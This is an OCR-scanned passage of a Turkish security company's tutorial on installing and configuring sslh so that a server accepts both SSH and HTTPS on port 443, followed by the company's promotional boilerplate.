icin protokolleri tanimlayan 6zel allanlara bakar ve protokol hakkinda bilgi sahibi
olur.Eger inceledigi veri alanlarinda 6zel bir protokol ile karsilasirsa port lizerinden o
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portokoli gecirir.Eger 6zel bir protokol gelmezse baglantiy1 SSL olarak yorumlar ve
HTTPS baglantis1 kurulur.

SSLH Kurulumu

Ubuntu / Debian

root@ubuntu:~# apt-get install sslh

Reading package lists... Done

Web Sunucu Yapilandirmasi

Varsayllan olarak web sunucusu bitiin ag arayiizlerini dinleyecektir. Apache
sunucunuzun *.443 portu yerine localhost:443 portunu dinlediginden emin olunduktan
sonra web sunucusunun konfiglirasyon dosyasi diizenlenip apache servisi yeniden
baslatilmahdir.

SSLH Konfigiirasyonu
Oncelikle sslh konfigiirasyon dosyasiacilir.

root@ubuntu:~# nano /etc/default/sslh

Acilan dosyada Run=no olan satir Run=yes olarak degistirilir.
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# Default options for sslh initscript

# sourced by /etc/init.d/sslh

# Disabled by default, to force yourself

# to read the configuration:

# - /usr/share/doc/sslh/README.Debian (quick start)

# - /usr/share/doc/sslh/README, at "Configuration" section
# - sslh(8) via "man sslh" for more configuration details.

# Once configuration ready, you *must* set RUN to yes here
# and try to startsslh (standalone mode only)

RUN=yes

# binary to use: forked (sslh) or single-thread (sslh-select) version
DAEMON=/usr/sbin/sslh

DAEMON_OPTS="--user sslh --listen 0.0.0.0:443 --ssh 127.0.0.1:22 --ssl 127.0.0.$

Daha sonra dosya kaydedilip ¢iktiktan sonra servis yeniden baslatilir.

root@ubuntu:~# /etc/init.d /sslh restart

* Restarting ssl/ssh multiplexer sslh [ OK]

SSLH Testi

Yukaridaki adimlar yapildiktan sonra artik sslh ¢alismaya hazirdir.Servisin g¢alistigini
kontrol etmek icin asagidaki komut kullanilabilir.

root@ubuntu:~# ps -ef | grep sslh
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sslh 29930 1 000:04 pts/1 00:00:00 /usr/sbin/sslh --user sslh --listen 0.0.0.0 443 -
-ssh 127.0.0.1 22 --ss1 127.0.0.1 443

root 29932 29830 0 00:05 pts/1 00:00:00 grep --color=auto sslh

Artik sunucumuzla 443. portiizerinden ssh baglantis1 kurabiliriz.

root@kali:~$ ssh -p 443 root@6.6.6.20
root@6.6.6.20's password:
Welcome to Ubuntu 12.04 LTS (GNU/Linux 3.2.0-23-generic x86_64)
* Documentation: https://help.ubuntu.com/

System information as of Sat Apr 5 00:06:12 EEST 2014

System load: 0.0 Processes: 88

Usage of /: 11.4% of 14.69GB Userslogged in: 2

Memory usage: 35% [P address for eth0: 6.6.6.20

Swap usage: 0%

Graph this data and manage this system at https://landscape.canonical.com/
*#* System restart required ***

Lastlogin: Sat Apr 500:02:19 2014 from 10.0.0.216

Artik varsayilan ssh portu yerine 443. portu kullanarak sunucumuz ile ssh baglantisi
kurabiliriz.
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BGA Bilgi Guivenligi A.S. Hakkinda

BGA Bilgi Guvenligi A.S. 2008 yilindan bu yana siber glivenlik alaninda faaliyet géstermektedir.
Ulkemizdeki bilgi giivenligi sektériine profesyonel anlamda destek olmak amaciile kurulan BGA Bilgi
Glvenligi, stratejik siber glivenlik danismanligi ve givenlik egitimleri konularinda kurumlara hizmet
vermektedir.

Uluslararasi gecerlilige sahip sertifikali 50 kisilik teknik ekibi ile, faaliyetlerini Ankara ve istanbul ve
USA’da slirdiiren BGA Bilgi Glivenligi’ninilgi alanlarini “Sizma Testleri, Glivenlik Denetimi, SOME, SOC
Danismanhgi, A¢ik Kaynak Siber Glivenlik Céziimleri, Biiyiik Veri Giivenlik Analizi ve Yeni Nesil
Glivenlik Céziimleri” olusturmaktadir.

Gergeklestirdigi basaril danismanlik projeleri ve egitimlerle sektérde saygin bir yer edinen BGA Bilgi
Gulvenligi, kuruldugu giinden bugtine alaninda lider finans, enerji, telekom ve kamu kuruluslarina
1.000'den fazlaegitim ve danismanlik projelerigerceklestirmistir.

BGA Bilgi Guvenligi, kuruldugu 2008 yilindan beri Glkemizde bilgi glivenligi konusundaki bilgi ve
paylasimlarin artmasiamaciile glivenlike-posta listeleri olusturulmasi, seminerler, glivenlik etkinlikleri
diizenlenmesi, Universite 6grencilerine kariyer ve bilgi saglamak i¢in siber glivenlik kamplan
dizenlenmesive sosyal sorumluluk projeleri gibi bircok konuda gonallii faaliyetlerde bulunmustur.

BGA Bilgi Giivenligi AKADEMISi Hakkinda

BGA Bilgi GlivenligiA.S."nin egitim ve sosyal sorumluluk markasiolarak ¢alisan Bilgi Glivenligi
AKADEMISI, siber giivenlik konusunda ticari, gonillii egitimlerin diizenlenmesi ve sibergiivenlik
farkindaligini arttirici goniillii faaliyetleri yiiriitilmesinden sorumludur. Bilgi Giivenligi AKADEMISI
markasiyla bugiline kadar “Siber Gilivenlik Kamplari”, “Siber Glivenlik Staj Okulu”, “Siber Glivenlik Ar-
Ge Destek Bursu”, “Ethical Hacking yarismalari” ve “Siber Glvenlik Kiitliphanesi” gibi bir¢ok gonilli
faaliyetin destekleyici olmustur.

BGA Bilgi Giivenligi A.S. | www.bgasecurity.com | @BGASecurity


http://www.bgasecurity.com/
https://twitter.com/bgasecurity

